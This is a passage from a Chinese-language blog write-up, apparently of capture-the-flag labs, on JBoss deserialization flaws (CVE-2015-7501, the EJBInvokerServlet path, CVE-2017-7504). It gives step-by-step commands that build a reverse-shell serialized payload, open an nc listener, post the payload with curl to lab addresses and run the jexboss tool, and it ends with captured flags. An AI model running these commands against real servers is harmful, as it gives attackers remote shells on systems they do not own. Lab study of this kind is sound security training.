&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl http://123.58.224.8:26968/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="图6" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-17-22-32.png"&gt;&lt;/p&gt;
&lt;p&gt;反弹成功&lt;/p&gt;
&lt;p&gt;&lt;img alt="图7" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-17-24-28.png"&gt;&lt;/p&gt;
&lt;p&gt;取得flag&lt;/p&gt;
&lt;h2 id="jboss-jmxinvokerservlet-反序列化漏洞cve-2015-7501"&gt;JBoss JMXInvokerServlet 反序列化漏洞（CVE-2015-7501）
&lt;/h2&gt;&lt;h3 id="影响版本"&gt;影响版本
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;Red Hat JBoss A-MQ 6.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;BPM Suite &lt;span class="o"&gt;(&lt;/span&gt;BPMS&lt;span class="o"&gt;)&lt;/span&gt; 6.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;BRMS 6.x版本和5.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Data Grid &lt;span class="o"&gt;(&lt;/span&gt;JDG&lt;span class="o"&gt;)&lt;/span&gt; 6.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Data Virtualization &lt;span class="o"&gt;(&lt;/span&gt;JDV&lt;span class="o"&gt;)&lt;/span&gt; 6.x版本和5.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Enterprise Application Platform 6.x版本，5.x版本和4.3.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Fuse 6.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Fuse Service Works &lt;span class="o"&gt;(&lt;/span&gt;FSW&lt;span class="o"&gt;)&lt;/span&gt; 6.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Operations Network &lt;span class="o"&gt;(&lt;/span&gt;JBoss ON&lt;span class="o"&gt;)&lt;/span&gt; 3.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Portal 6.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;SOA Platform &lt;span class="o"&gt;(&lt;/span&gt;SOA-P&lt;span class="o"&gt;)&lt;/span&gt; 5.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;Web Server &lt;span class="o"&gt;(&lt;/span&gt;JWS&lt;span class="o"&gt;)&lt;/span&gt; 3.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;Red Hat OpenShift/xPAAS 3.x版本；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;Red Hat Subscription Asset Manager 1.3版本。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="漏洞原理1"&gt;漏洞原理1
&lt;/h3&gt;&lt;p&gt;JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象，然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。&lt;/p&gt;
&lt;h3 id="漏洞复现1"&gt;漏洞复现1
&lt;/h3&gt;&lt;p&gt;&lt;img alt="图8" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-17-31-54.png"&gt;&lt;/p&gt;
&lt;p&gt;如果嫩下载JMXInvokerServlet文件就存在漏洞。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;git clone https://github.com/ianxtianxt/CVE-2015-7501/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; CVE-2015-7501/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:7777
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nc -vv -l -p &lt;span class="m"&gt;7777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;curl http://123.58.224.8:55153/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="图9" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-17-38-44.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="图10" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-17-39-25.png"&gt;&lt;/p&gt;
&lt;p&gt;_flag=flag-{bmh30a69994-5535-4de1-b53d-5c36c0d0498e}&lt;/p&gt;
&lt;h3 id="jboss-ejbinvokerservlet-反序列化漏洞"&gt;JBoss EJBInvokerServlet 反序列化漏洞
&lt;/h3&gt;&lt;p&gt;跟CVE-2015-7501利⽤⽅法⼀样，只是路径不⼀样，这个漏洞利⽤路径是&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/invoker/EJBInvokerServlet&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="jbossmqjms-反序列化漏洞cve-2017-7504"&gt;JBossMQJMS 反序列化漏洞（CVE-2017-7504）
&lt;/h2&gt;&lt;h3 id="影响版本2"&gt;影响版本2
&lt;/h3&gt;&lt;p&gt;JBoss &amp;lt;=4.x&lt;/p&gt;
&lt;h3 id="漏洞原理2"&gt;漏洞原理2
&lt;/h3&gt;&lt;p&gt;JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。&lt;/p&gt;
&lt;h3 id="漏洞复现2"&gt;漏洞复现2
&lt;/h3&gt;&lt;p&gt;访问 &lt;code&gt;/jbossmq-httpil/HTTPServerILServlet&lt;/code&gt; 返回This is the JBossMQ HTTP-IL，说明存在反序列化漏洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="图13" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-17-49-58.png"&gt;&lt;/p&gt;
&lt;h4 id="利用工具javadeserh2hc"&gt;利用工具:JavaDeserH2HC
&lt;/h4&gt;&lt;p&gt;&lt;code&gt;https://github.com/joaomatosf/JavaDeserH2HC&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机:7777
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;nc -vv -l -p &lt;span class="m"&gt;7777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;curl http://123.58.224.8:47973/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="图14" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-17-52-29.png"&gt;&lt;/p&gt;
&lt;p&gt;flag-{bmh93d53260-14f8-4405-91cd-f4221ef65f3f}&lt;/p&gt;
&lt;h4 id="jexboss-工具一键植入"&gt;Jexboss 工具一键植入
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python jexboss.py -u http://123.58.224.8:47973/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="图11" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-17-48-15.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="图12" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-17-48-34.png"&gt;&lt;/p&gt;
&lt;h2 id="特殊情况"&gt;特殊情况
&lt;/h2&gt;&lt;p&gt;&lt;img alt="tsqk" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/Snipaste_2024-08-16_13-13-08.png"&gt;&lt;/p&gt;
&lt;p&gt;Windows主机无法反弹shell。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;参考链接&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/IVVftRRofmGQaE52m4SAyQ" target="_blank" rel="noopener"
 &gt;https://mp.weixin.qq.com/s/IVVftRRofmGQaE52m4SAyQ&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

 &lt;/blockquote&gt;</description></item></channel></rss>